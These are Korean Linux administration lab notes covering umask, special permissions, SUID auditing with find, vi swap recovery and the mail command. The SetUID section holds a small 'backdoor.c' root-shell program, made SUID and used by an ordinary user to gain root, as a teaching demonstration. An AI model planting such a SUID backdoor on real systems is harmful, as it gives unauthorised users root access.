-rw-r----- 1 root root    0  4월 15 17:43 file3 //777-027-740

* umask 변경은 현재 터미널에서만 의미가 있다
전체를 변경하려면 환경파일을 수정해야 한다




etc/bashrc 파일에 등록된 umask 확인
 (관리자) /etc/bashrc
 (사용자) $HOME/.bashrc


[root@linux220 ~]# cat /etc/bashrc
# /etc/bashrc

# System wide functions and aliases
# Environment stuff goes in /etc/profile

# By default, we want this to get set.
# Even for non-interactive, non-login shells.
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then
        umask 002
else
        umask 022
fi

# are we an interactive shell?
if [ "$PS1" ]; then
    case $TERM in
        xterm*)
                if [ -e /etc/sysconfig/bash-prompt-xterm ]; then
                        PROMPT_COMMAND=/etc/sysconfig/bash-prompt-xterm
                else
                PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME%%.*}:${PWD/#$HOME/~}"; echo -ne "\007"'
                fi
                ;;
        screen)
                if [ -e /etc/sysconfig/bash-prompt-screen ]; then
                        PROMPT_COMMAND=/etc/sysconfig/bash-prompt-screen
                else
                PROMPT_COMMAND='echo -ne "\033_${USER}@${HOSTNAME%%.*}:${PWD/#$HOME/~}"; echo -ne "\033\\"'
                fi
                ;;
        *)
                [ -e /etc/sysconfig/bash-prompt-default ] && PROMPT_COMMAND=/etc/sysconfig/bash-prompt-default
            ;;
    esac
    # Turn on checkwinsize
    shopt -s checkwinsize
    [ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \W]\\$ "
fi

if ! shopt -q login_shell ; then # We're not a login shell
        # Need to redefine pathmunge, it get's undefined at the end of /etc/profile
    pathmunge () {
                if ! echo $PATH | /bin/egrep -q "(^|:)$1($|:)" ; then
                        if [ "$2" = "after" ] ; then
                                PATH=$PATH:$1
                        else
                                PATH=$1:$PATH
                        fi
                fi
        }

        # Only display echos from profile.d scripts if we are no login shell
    # and interactive - otherwise just process them to set envvars
    for i in /etc/profile.d/*.sh; do
        if [ -r "$i" ]; then
            if [ "$PS1" ]; then
                . $i
            else
                . $i >/dev/null 2>&1
            fi
        fi
    done

        unset i
        unset pathmunge
fi
# vim:ts=4:sw=4


이 부분을 확인하자
if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then
        umask 002
else
        umask 022
fi


사용자일 경우에 002 //fedora, user01
관리자일 경우에 022 //root

[root@linux220 ~]# echo $UID
0
[root@linux220 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@linux220 ~]# id -u
0
[root@linux220 ~]# id -un
root
[root@linux220 ~]# id -g
0
[root@linux220 ~]# id -gn
root

[root@linux220 ~]# umask
0022
[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (3)

login: fedora
Password:
Last login: Fri Apr 15 17:25:49 from linux220
[fedora@linux220 ~]$ umask
0002




SetUID 확인
프로그램이 실행될동안 잠시동안 관리자 권한을 준다? 필드에 s로 표시
일반사용자가 관리자권한이 필요할때가 있기 때문에 만들었다

[참고] SetUID와 SetGID를 실행할 수 있는 프로그램
실행 권한(x)이 주어진 프로그램에 setuid 퍼미션이 주어지면 누구에게나 그 프로그램의 소유자처럼 그 프로
그램을 실행할 권한이 주어지고, 또한 어느 누구에게나 그 프로그램의 그룹에 속한 것처럼 할 수 있다. 즉, 실
행 권한(x)을 가진 프로그램이 setuid와 setgid 퍼미션이 주어지면 그 프로그램의 owner나 group으로부터 UID
와 GID를 얻는다. 이는 해당 프로그램이 시작될 때 프로세스로부터 UID와 GID를 상속받는 것과는 다르다.

[참고] SetUID를 가진 파일의 예시
패스워드를 변경할 수 있는 권한을 root의 권한이다. 그렇기에 일반 사용자는 패스워드 권한을 변경할 수 없
다. 일반 사용자도 패스워드를 변경할 때 만큼은 root가 되도록 만들어주어야 한다. 그렇기 위해선
/usr/bin/passwd실행파일의 권한이 root의 SetUID 권한이 부여되어 있으면 된다.

(일반사용자) $ passwd
-> /etc/passwd(user01:x:501:501::/home/user01:/bin/bash)
-> /etc/shadow(user01:$1$D0aOO1Ns$Src3NlrAeQH8YIQwJ44bp1:15911:0:99999:7:::) //암호화된 암호


[root@linux220 ~]# ls -l /usr/bin/passwd /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 1.9K  4월 12 21:58 /etc/passwd
-r-------- 1 root root 1.3K  4월 12 21:58 /etc/shadow
-rwsr-xr-x 1 root root  23K  1월  7  2007 /usr/bin/passwd //s
[root@linux220 ~]# chmod 755 /usr/bin/passwd
[root@linux220 ~]# ls -l /usr/bin/passwd
-rwxr-xr-x 1 root root 23K  1월  7  2007 /usr/bin/passwd //s -> x
[root@linux220 ~]# su - fedora
[fedora@linux220 ~]$ passwd
Changing password for user fedora.
Changing password for fedora
(current) UNIX password:
passwd: Authentication token manipulation error

exit

[root@linux220 ~]# passwd fedora
Changing password for user fedora.
New UNIX password:
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

[root@linux220 ~]# chmod 4755 /usr/bin/passwd
[root@linux220 ~]# ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 23K  1월  7  2007 /usr/bin/passwd




fedora 가 user01 사용자의 권한을 빌리는 경우

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (1)

login: user01
Password:
Last login: Fri Apr 15 17:28:30 from linux220
[user01@linux220 ~]$ chmod 775 /home/user01
[user01@linux220 ~]$ cp /bin/touch /home/user01
[user01@linux220 ~]$ ls -l
합계 43
-rwxr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

[user01@linux220 ~]$ ./touch file1
[user01@linux220 ~]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rwxr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

[user01@linux220 ~]$ chmod 4755 touch
[user01@linux220 ~]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rwsr-xr-x 1 user01 user01 42284  4월 15 18:24 touch
[user01@linux220 ~]$ su - fedora
암호:
[fedora@linux220 ~]$ cd /home/user01
[fedora@linux220 user01]$ touch file2
touch: cannot touch `file2': 허가 거부됨
[fedora@linux220 user01]$ ./touch file2
[fedora@linux220 user01]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rw-rw-r-- 1 user01 fedora     0  4월 15 18:26 file2
-rwsr-xr-x 1 user01 user01 42284  4월 15 18:24 touch

exit

[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ chmod 2755 touch
[user01@linux220 ~]$ ls -l touch
-rwxr-sr-x 1 user01 user01 42284  4월 15 18:24 touch
[user01@linux220 ~]$ su - fedora
암호:
[fedora@linux220 ~]$ cd /home/user01
[fedora@linux220 user01]$ ./touch file3
[fedora@linux220 user01]$ ls -l
합계 43
-rw-rw-r-- 1 user01 user01     0  4월 15 18:24 file1
-rw-rw-r-- 1 user01 fedora     0  4월 15 18:26 file2
-rw-rw-r-- 1 fedora user01     0  4월 15 18:29 file3
-rwxr-sr-x 1 user01 user01 42284  4월 15 18:24 touch
[fedora@linux220 user01]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)

다시 한번 확인해볼것!!



bash쉘의 SetUID 권한 부여

[터미널1]

[root@linux220 ~]# ls -l /bin/bash
-rwxr-xr-x 1 root root 718K  1월 22  2009 /bin/bash
[root@linux220 ~]# cp /bin/bash /test
[root@linux220 ~]# cd /test
[root@linux220 /test]# ls -l bash
-rwxr-xr-x 1 root root 718K  4월 15 18:31 bash
[root@linux220 /test]# bash
[root@linux220 /test]# ps
  PID TTY          TIME CMD
 6002 pts/1    00:00:00 bash
 6020 pts/1    00:00:00 bash
 6032 pts/1    00:00:00 ps
[root@linux220 /test]# exit
exit
[root@linux220 /test]# ./bash
[root@linux220 /test]# ps
  PID TTY          TIME CMD
 6002 pts/1    00:00:00 bash
 6033 pts/1    00:00:00 bash
 6045 pts/1    00:00:00 ps
[root@linux220 /test]# exit
exit

[root@linux220 /test]# chmod 4755 bash
[root@linux220 /test]# ls -l bash
-rwsr-xr-x 1 root root 718K  4월 15 18:31 bash
[root@linux220 /test]# su - fedora
[fedora@linux220 ~]$ cd /test
[fedora@linux220 test]$ ls -l bash
-rwsr-xr-x 1 root root 735004  4월 15 18:31 bash
[fedora@linux220 test]$ ./bash
bash-3.2$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
bash-3.2$ exit
exit
[fedora@linux220 test]$ exit
logout


[참고] gcc 프로그램 설치가 되어 있지 않으면
# which gcc
# rpm -qa | grep gcc
# yum install gcc (# yum -y install gcc)

[root@linux220 /test]# cd /test
[root@linux220 /test]# vi backdoor.c
--------------------------------------------------------------------
#include <stdio.h>
main()
{
 setuid(0);
 setgid(0);
 system("/bin/bash");
}
--------------------------------------------------------------------

[root@linux220 /test]# gcc -o bashshell backdoor.c
[root@linux220 /test]# ls -l bashshell
-rwxr-xr-x 1 root root 5.1K  4월 15 19:35 bashshell
[root@linux220 /test]# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped
[root@linux220 /test]# file /test/bashshell
/test/bashshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped


[터미널2] root

[root@linux220 ~]# cd /test
[root@linux220 /test]# chmod 4755 bashshell



[터미널1] fedora

[fedora@linux220 ~]$ cd /test
[fedora@linux220 test]$ ./bashshell
[root@linux220 test]# pwd
/test
[root@linux220 test]# id
uid=0(root) gid=0(root) groups=500(fedora)
[root@linux220 test]# ls -l
합계 748
-rw-r--r-- 1 root root     78  4월 15 19:34 backdoor.c
-rwsr-xr-x 1 root root 735004  4월 15 18:31 bash  //s
-rwsr-xr-x 1 root root   5150  4월 15 19:35 bashshell
drwxr-xr-x 2 root root   4096  4월 15 17:39 dir1
drwxrwxr-x 2 root root   4096  4월 15 17:42 dir2
drwxr-x--- 2 root root   4096  4월 15 17:43 dir3
-rw-r--r-- 1 root root      0  4월 15 17:39 file1
-rw-rw-r-- 1 root root      0  4월 15 17:42 file2
-rw-r----- 1 root root      0  4월 15 17:43 file3

[root@linux220 test]# chmod 755 bash
[root@linux220 test]# ls -l
합계 748
-rw-r--r-- 1 root root     78  4월 15 19:34 backdoor.c
-rwxr-xr-x 1 root root 735004  4월 15 18:31 bash  //s -> x
-rwsr-xr-x 1 root root   5150  4월 15 19:35 bashshell
drwxr-xr-x 2 root root   4096  4월 15 17:39 dir1
drwxrwxr-x 2 root root   4096  4월 15 17:42 dir2
drwxr-x--- 2 root root   4096  4월 15 17:43 dir3
-rw-r--r-- 1 root root      0  4월 15 17:39 file1
-rw-rw-r-- 1 root root      0  4월 15 17:42 file2
-rw-r----- 1 root root      0  4월 15 17:43 file3
[root@linux220 test]# ./bash
[root@linux220 test]# id
uid=0(root) gid=0(root) groups=500(fedora)
[root@linux220 test]# exit
exit
[root@linux220 test]# exit
exit
[fedora@linux220 test]$ exit
logout


[EX] sticky bit로 파일 삭제 권한 제거

[터미널1] user01

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (2)

login: user01
Password:
Last login: Fri Apr 15 18:23:49 from linux220
[user01@linux220 ~]$ id
uid=501(user01) gid=501(user01) groups=501(user01)
[user01@linux220 ~]$ pwd
/home/user01
[user01@linux220 ~]$ ps
  PID TTY          TIME CMD
 6473 pts/2    00:00:00 bash
 6496 pts/2    00:00:00 ps
[user01@linux220 ~]$ cd /tmp
[user01@linux220 tmp]$ mkdir stickybit
[user01@linux220 tmp]$ echo 1111 > file10
[user01@linux220 tmp]$ echo 2222 > stickybit/file2
[user01@linux220 tmp]$ ls -l | grep user01
-rw-rw-r-- 1 user01 user01     5  4월 15 19:47 file10
drwxrwxr-x 2 user01 user01  4096  4월 15 19:48 stickybit


[터미널2] fedora

[root@linux220 ~]# telnet localhost
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.

    linux220.example.com (Linux release 2.6.18-194.el5 #1 SMP Fri Apr 2 14:58:35 EDT 2010) (4)

login: fedora
Password:
Last login: Fri Apr 15 19:39:35 from linux220
[fedora@linux220 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux220 ~]$ pwd
/home/fedora
[fedora@linux220 ~]$ ps
  PID TTY          TIME CMD
 6519 pts/4    00:00:00 bash
 6542 pts/4    00:00:00 ps
[fedora@linux220 ~]$ cd /tmp
[fedora@linux220 tmp]$ mkdir linux
[fedora@linux220 tmp]$ echo 3333 > file3
[fedora@linux220 tmp]$ echo 4444 > linux/file4
[fedora@linux220 tmp]$ ls -l | grep fedora
-rw-rw-r-- 1 fedora fedora     5  4월 15 19:49 file3
drwxrwxr-x 2 fedora fedora  4096  4월 15 19:49 linux

[fedora@linux220 tmp]$ vi file3
-------------------------------------------------------------------
3333
4444 //편집가능 :wq!
-------------------------------------------------------------------

[fedora@linux220 tmp]$ rm -rf linux
[fedora@linux220 tmp]$ rm file3
[fedora@linux220 tmp]$ ls -l file10
-rw-rw-r-- 1 user01 user01 5  4월 15 19:47 file10
[fedora@linux220 tmp]$ rm file10
rm: remove write-protected 일반 파일 `file10'? y
rm: cannot remove `file10': 명령이 허용되지 않음
[fedora@linux220 tmp]$ mv file10 file2
mv: cannot move `file10' to `file2': 명령이 허용되지 않음
[fedora@linux220 tmp]$ cp file10 file2
[fedora@linux220 tmp]$ ls -l file10 file2
-rw-rw-r-- 1 user01 user01 5  4월 15 19:47 file10
-rw-rw-r-- 1 fedora fedora 5  4월 15 19:52 file2

결론 : 자신이 소유권을 가지지 않은 파일에 대해서는 원본 파일을 수정할 수 있는 명령어는 허용되지 않는다



SetUID/SetGID/Sticky Bit 설정

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]#
[root@linux220 /test]# touch file1
[root@linux220 /test]# mkdir dir1
[root@linux220 /test]#
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rw-r--r-- 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 4755 file1
[root@linux220 /test]# ls -l
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-xr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 2755 file1
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwxr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 6755 file1
[root@linux220 /test]# ll
합계 4.0K
drwxr-xr-x 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]# chmod 1777 dir1
[root@linux220 /test]# ll
합계 4.0K
drwxrwxrwt 2 root root 4.0K  4월 15 19:54 dir1
-rwsr-sr-x 1 root root    0  4월 15 19:54 file1
[root@linux220 /test]#


SetUID/SetGID/Sticky Bit 관리

검색 방법
# find / -perm -4000 -ls   //최소한 4000 = SetUID로 설정되어있는
# find / -perm -2000    //SetGID로 설정되어있는
# find / \( -perm -4000 -o -perm -2000 \) -ls //-a = and, -o = or

[root@linux220 ~]# find / \( -perm -4000 -o -perm -2000 \) -ls
3924568   40 -rwsr-xr-x   1 root     root        38936  1월 20  2010 /bin/umount
3924556   64 -rwsr-xr-x   1 root     root        58324  1월 20  2010 /bin/mount
3924500   40 -rwsr-xr-x   1 root     root        35832  9월 27  2009 /bin/ping
3924501   36 -rwsr-xr-x   1 root     root        31244  9월 27  2009 /bin/ping6
3924535   28 -rwsr-xr-x   1 root     root        23960  3월  1  2010 /bin/su
5756147   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/umount.nfs
5756143   80 -rwsr-xr-x   1 root     root        71156  4월  5  2010 /sbin/mount.nfs
5756144   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/mount.nfs4
5756148   80 -rwsr-xr-x   1 root     root        71160  4월  5  2010 /sbin/umount.nfs4
5756172    8 -rwxr-sr-x   1 root     root         5920  9월 29  2009 /sbin/netreport
5756026   16 -rwsr-xr-x   1 root     root        12248  3월 12  2010 /sbin/pam_timestamp_check
5755950   12 -rwsr-x---   1 root     ecryptfs    12000  9월  4  2009 /sbin/mount.ecryptfs_private
5756027   24 -rwsr-xr-x   1 root     root        19184  3월 12  2010 /sbin/unix_chkpwd
find: /proc/6626/task/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/task/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6626/fd/4: 그런 파일이나 디렉토리가 없음
272240   24 -rwsr-xr-x   1 root     root        18608  9월 22  2009 /usr/bin/rcp
270499   48 -rwsr-xr-x   1 root     root        46972  3월 31  2010 /usr/bin/chage
271802   28 -rwsr-xr-x   1 root     root        24588  3월 31  2010 /usr/bin/newgrp
272064   24 -rwx--s--x   1 root     slocate     23856  9월  4  2009 /usr/bin/locate
278040   84 -r-xr-s--x   1 root     games       78916  2월 27  2009 /usr/bin/gnotravex
278113   20 -rws--x--x   1 root     root        17900  1월 20  2010 /usr/bin/chfn
275168  176 ---s--x--x   2 root     root       170980  3월 31  2010 /usr/bin/sudo
272242   20 -rwsr-xr-x   1 root     root        13108  9월 22  2009 /usr/bin/rlogin
272158   60 -r-xr-s--x   1 root     games       55896  2월 27  2009 /usr/bin/gnotski
273403  316 -rwsr-sr-x   1 root     root       315416  1월  6  2010 /usr/bin/crontab
277937  128 -r-xr-s--x   1 root     games      124484  2월 27  2009 /usr/bin/gnibbles
278285   88 -r-xr-s--x   1 root     games       83256  2월 27  2009 /usr/bin/iagno
274269   48 -rwsr-xr-x   1 root     root        43492  1월 27  2010 /usr/bin/at
275190   72 -r-xr-s--x   1 root     games       67088  2월 27  2009 /usr/bin/gtali
275168  176 ---s--x--x   2 root     root       170980  3월 31  2010 /usr/bin/sudoedit
278196 1852 -rws--x--x   1 root     root      1890660  3월 31  2010 /usr/bin/Xorg
274316   56 -rwsr-xr-x   1 root     root        51512  3월 31  2010 /usr/bin/gpasswd
277374   68 -r-xr-s--x   1 root     games       63856  2월 27  2009 /usr/bin/gataxx
9516964   96 -rwxr-sr-x   1 root     nobody      88984  3월 31  2010 /usr/bin/ssh-agent
264213   16 -rwxr-sr-x   1 root     mail        16020  3월 29  2007 /usr/bin/lockfile
272801   12 -rwxr-sr-x   1 root     tty         10984  1월 20  2010 /usr/bin/write
272243   16 -rwsr-xr-x   1 root     root         8908  9월 22  2009 /usr/bin/rsh
275671   88 -r-xr-s--x   1 root     games       83560  2월 27  2009 /usr/bin/same-gnome
270494   12 -r-xr-sr-x   1 root     tty         10484  1월 21  2009 /usr/bin/wall
272157  124 -r-xr-s--x   1 root     games      122340  2월 27  2009 /usr/bin/gnobots2
278256  108 -r-xr-s--x   1 root     games      103556  2월 27  2009 /usr/bin/mahjongg
270263   24 -rwsr-xr-x   1 root     root        22984  1월  7  2007 /usr/bin/passwd
270378   20 -rws--x--x   1 root     root        19096  1월 20  2010 /usr/bin/chsh
277884  100 -r-xr-s--x   1 root     games       95604  2월 27  2009 /usr/bin/gnomine
278129  100 -r-xr-s--x   1 root     games       95844  2월 27  2009 /usr/bin/glines
277763   20 -rwxr-sr-x   1 root     lock        16616  1월 10  2007 /usr/sbin/lockdev
275046  796 -rwxr-sr-x   1 root     smmsp      806460  3월 31  2010 /usr/sbin/sendmail.sendmail
274847   16 -r-s--x---   1 root     apache      11544  4월  5  2010 /usr/sbin/suexec
274623   12 -rwsr-xr-x   1 root     root         6820  9월 29  2009 /usr/sbin/usernetctl
1340992   12 -rwsr-xr-x   1 root     root         6728  9월 20  2009 /usr/sbin/userisdnctl
275511   12 -rwsr-xr-x   1 root     root         6240  1월  6  2007 /usr/sbin/ccreds_validate
273155   36 -rws--x--x   1 root     root        32780  2월 27  2009 /usr/sbin/userhelper
591475    8 -rwx--s--x   1 root     utmp         6652  2월 27  2009 /usr/libexec/utempter/utempter
852416  184 -rwsr-xr-x   1 root     root       176732  3월 31  2010 /usr/libexec/openssh/ssh-keysign
687332  176 -rwsr-xr-x   1 root     root       169760  1월 13  2010 /usr/kerberos/bin/ksu
687532   20 -rwsr-x---   1 root     squid       17580  3월 31  2010 /usr/lib/squid/ncsa_auth
688500   16 -rwsr-x---   1 root     squid       15448  3월 31  2010 /usr/lib/squid/pam_auth
818185   68 -rwsr-xr-x   1 root     root        61452  3월 31  2010 /usr/lib/nspluginwrapper/plugin-config
459222   16 -r-sr-xr-x   1 root     root        14320  4월 12 05:00 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
1504600   12 -r-sr-xr-x   1 root     root         9532  4월 12 05:00 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
785829   16 -rwx--s--x   1 root     utmp        12384  3월 15  2007 /usr/lib/vte/gnome-pty-helper
492813  168 -r-sr-x---   1 uucp     news       162764  1월 27  2010 /usr/lib/news/bin/rnews
492826   48 -r-sr-x---   1 root     news        41848  1월 27  2010 /usr/lib/news/bin/startinnfeed
492784   52 -r-sr-x---   1 root     news        45996  1월 27  2010 /usr/lib/news/bin/inndstart
 34689   43 -rwxr-sr-x   1 user01   user01      42284  4월 15 18:24 /home/user01/touch
7457995   48 -rwsr-x---   1 root     dbus        45148  3월 31  2010 /lib/dbus-1/dbus-daemon-launch-helper


[root@linux220 ~]# find / \( -perm -4000 -a -perm -2000 \) -ls
find: /proc/6629/task/6629/fd/4: 그런 파일이나 디렉토리가 없음
find: /proc/6629/fd/4: 그런 파일이나 디렉토리가 없음
273403  316 -rwsr-sr-x   1 root     root       315416  1월  6  2010 /usr/bin/crontab



목록화 하는 방법
# fine / \( -perm -4000 -o -perm -2000 \) > setuid.txt
# fine / \( -perm -4000 -o -perm -2000 \) | wc -l > setuid.txt
# diff setuid.txt setuid.old.txt

diff CMD
[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# vi file1
[root@linux220 /test]# cp file1 file2
[root@linux220 /test]# vi file2
[root@linux220 /test]# cat file1
/bin/ls
/bin/cat
/bin/vi
[root@linux220 /test]# cat file2
/bin/ls
/bin/cat
/bin/vi
/bin/passwd
[root@linux220 /test]# diff file1 file2
3a4
> /bin/passwd    //다른부분 출력해줌

[root@linux220 /test]# vi file2
[root@linux220 /test]# cat file2
/bin/ls
/bin/cat
/bin/vi
[root@linux220 /test]# diff file1 file2 //동일하면 아무출력값 없음


특수퍼미션 관리 기법
* 관리자만 암호를 변경할 수 있고, 사용자는 암호를 변경할 수 없다.
# chmod 755 /usr/bin/passwd //SetUID 비트를 제거한다, 사용자는 패스워드 변경 불가

* '0(Zero) day attack'을 임시적으로 방어하기 위해서
0(Zero) day attack 이란?
버그가 발생된 시점에서 부터 벤더가 패치를 내놓는다
하지만 벤더가 패치를 내놓기전에 공격하는것을 제로데이어택이라고 한다



vi 편집기(Visual Editor)

log 파일을 열어볼때 log 파일은 수정, 손상이 되면 안된다
# vi -R /var/log/messages
# view /var/log/messages

# alias messages='view /var/log/messages'

비정상적으로 종료되었을때 복구용파일이 생성됨 *.swp

[root@linux220 ~]# vi -L
스왑 파일을 찾았음:
   현재 자료방에:
      -- 없음 --
   In directory ~/tmp:
      -- 없음 --
   In directory /var/tmp:
      -- 없음 --
   In directory /tmp:
      -- 없음 --

# vi -r filename
Recovery, 이전 vi 편집 작업 중 비정상적으로 작업이 끝난 경우
편집하던 파일 복구시에 사용된다.
이 경우 사용자의 메일로 복구할 파일에 대한 정보가 오게된다.


파일을 작성하다가 터미널창을 닫아버림(=비정상적인 종료)

[root@linux220 ~]# vi -L
스왑 파일을 찾았음:
   현재 자료방에:
      -- 없음 --
   In directory ~/tmp:
      -- 없음 --
   In directory /var/tmp:
1.    .file1.swp
          소유자: root   날짜: Fri Apr 15 20:56:09 2016
         파일 이름: /var/tmp/file1
          수정: 예
         사용자 이름: root  호스트 이름: linux220.example.com
        프로세스 ID: 6752
   In directory /tmp:
      -- 없음 --


터미널을 다시 실행시켜서
# cd /var/tmp
# vi file1

E325: 주목
Found a swap file by the name ".file1.swp"
          소유자: root   날짜: Fri Apr 15 20:56:09 2016
         파일 이름: /var/tmp/file1
          수정: 예
         사용자 이름: root  호스트 이름: linux220.example.com
        프로세스 ID: 6752
While opening file "file1"
             날짜: Fri Apr 15 20:55:55 2016

(1) 다른 프로그램이 같은 파일을 고치고 있는중일 수 있습니다.
    만약 그렇다면 같은 파일을 두 개의 프로그램에서 고치지
    않도록 조심하시기 바랍니다.
    끝내거나 위험을 감수하시려면 계속하십시오.

(2) 파일을 고치다가 죽었었습니다.
    만약 그렇다면 ":recover" 혹은 "vim -r file1"
    을 사용하여 복구하십시오 (":help recovery" 참고).
    이미 복구하셨었다면 스왑파일 ".file1.swp"
    to avoid this message.

스왑 파일 ".file1.swp"이 이미 존재합니다!
[O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort:

[root@linux220 /var/tmp]# ls -al
합계 32K
drwxrwxrwt  2 root root 4.0K  4월 15 20:58 .
drwxr-xr-x 25 root root 4.0K  4월 12 03:40 ..
-rw-------  1 root root  12K  4월 15 20:56 .file1.swp //swap 파일이 남아있음
-rw-r--r--  1 root root    5  4월 15 20:55 file1
[root@linux220 /var/tmp]# cat .file1.swp
U3210#"! Utp�ad333322221111[root@linux220 /var/tmp]#


# cd /test
# vi filename
: set all (Last Line Mode)
: set number (: set nu)
: set nonumber (: set nonu)

: set tabstop=10 /* 탭간격 조정 */
: set nu  /* 라인 번호 달기 */
: set noshowmode /* 상태표시행에 모드를 표시하거나 표시하지 않거나를 설정 */
: set directory=/tmp /* 지정된 기능 변경 */


사용자 정의 $HOME/.vimrc 파일 생성
# vi ~/.vimrc (# vi ~/.exrc)

VIM 편집기 참고 파일(VIM 편집기 사용법 문서)
# vi /usr/share/vim/vim70/tutor/tutor.ko.ufs-8

VIM 편집기의 Plugin 모음들
http://saelly.tistory.com/296
http://ethanschoonover.com/solarized





# mail    /* 메일 확인 */
# mail user01   /* 특정 사용자로 메일 보내기, user01@example.com */
# mail -u user01  /* 특정 사용자의 mail 확인 */
# mail -s "Test Mail" user01 /* 제목을 명령어 입력시 포함하여 mail 보내기 */


[root@linux220 ~]# vi /etc/resolv.conf
[root@linux220 ~]# service sendmail restart
sm-client을 종료 중:                                       [  OK  ]
sendmail를 종료 중:                                        [  OK  ]
sendmail (을)를 시작 중:                                   [  OK  ]
sm-client를 시작 중:                                       [  OK  ]
[root@linux220 ~]# mail user01
Subject: test mail
user01 Hi~~
user01
user01
user01
user01
Cc: root  //참조, root 에게도 같이 보낸다
[root@linux220 ~]# mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/root": 5 messages 5 new
>N  1 logwatch@linux220.ex  Tue Apr 12 05:44  46/1774  "Logwatch for linux220.example.com (Linux)"
 N  2 logwatch@linux220.ex  Wed Apr 13 02:02 129/4156  "Logwatch for linux220.example.com (Linux)"
 N  3 logwatch@linux220.ex  Thu Apr 14 17:17  87/2969  "Logwatch for linux220.example.com (Linux)"
 N  4 logwatch@linux220.ex  Fri Apr 15 17:16 139/4464  "Logwatch for linux220.example.com (Linux)"
 N  5 root@linux220.exampl  Fri Apr 15 21:40  21/669   "test mail"
& 5
Message 5:
From root@linux220.example.com  Fri Apr 15 21:40:32 2016
Date: Fri, 15 Apr 2016 21:40:29 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail
Cc: root@linux220.example.com

user01 Hi~~
user01
user01
user01
user01

& q
Saved 1 message in mbox
Held 4 messages in /var/spool/mail/root
You have mail in /var/spool/mail/root

user01 에서도 확인

[root@linux220 ~]# su - user01
[user01@linux220 ~]$ mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/user01": 1 message 1 new
>N  1 root@linux220.exampl  Fri Apr 15 21:40  21/669   "test mail"
& 1
Message 1:
From root@linux220.example.com  Fri Apr 15 21:40:32 2016
Date: Fri, 15 Apr 2016 21:40:29 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail
Cc: root@linux220.example.com

user01 Hi~~
user01
user01
user01
user01

& q
Saved 1 message in mbox


사용자의 메일 확인(안읽은)
[root@linux220 ~]# mail -u user01
No mail for user01


제목을 포함하여 mail 전송하기
[root@linux220 ~]# mail -s "test mail2" user01
hello hell o hell o
hi hi hi hi hi h i h i h i
hell o hell o hell o
.
Cc:
[root@linux220 ~]# mail -u user01
Mail version 8.1 6/6/93.  Type ? for help.
"/var/mail/user01": 1 message 1 unread
>U  1 root@linux220.exampl  Fri Apr 15 21:44  19/723   "test mail2"
& 1
Message 1:
From root@linux220.example.com  Fri Apr 15 21:44:35 2016
Date: Fri, 15 Apr 2016 21:44:34 +0900
From: root <root@linux220.example.com>
To: user01@linux220.example.com
Subject: test mail2

hello hell o hell o
hi hi hi hi hi h i h i h i
